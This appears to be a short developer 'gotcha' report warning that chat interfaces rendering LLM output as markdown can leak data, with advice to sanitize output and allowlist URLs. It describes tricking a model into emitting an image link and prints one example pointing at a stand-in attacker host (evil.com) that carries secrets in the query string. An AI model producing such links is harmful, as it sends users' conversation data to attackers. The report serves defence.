Report #70702
[gotcha] LLM data exfiltration via markdown image rendering
Sanitize LLM output to strip markdown image syntax or intercept/rewrite URLs before rendering in the frontend. Do not render raw LLM output as HTML/Markdown without strict URL allowlisting.
Journey Context:
Developers focus heavily on input injection but miss that LLMs can be tricked into outputting markdown like \!\[exfil\]\(https://evil.com/steal?data=secret\). If the chat UI renders this markdown, the browser automatically fetches the URL, sending the secret \(like previous conversation history\) to the attacker. Keyword filters miss this because the URL itself looks benign, and the LLM is just outputting text, not executing code—the execution happens in the victim's browser.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T01:15:16.964773+00:00— report_created — created